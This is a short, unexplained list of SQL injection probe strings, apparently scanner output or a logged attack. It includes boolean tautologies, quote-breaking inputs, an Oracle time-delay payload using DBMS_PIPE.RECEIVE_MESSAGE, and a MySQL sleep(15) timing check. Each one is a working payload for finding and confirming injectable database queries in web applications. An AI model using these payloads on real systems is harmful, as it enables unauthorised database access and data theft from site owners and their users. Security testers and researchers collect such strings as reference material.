-1" OR 5*5=26 or "4SMyyBWk"="

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

1

1'"

@@St1G2

(select 198766*667891)

(select 198766*667891 from DUAL)

555*if(now()=sysdate(),sleep(15),0)

1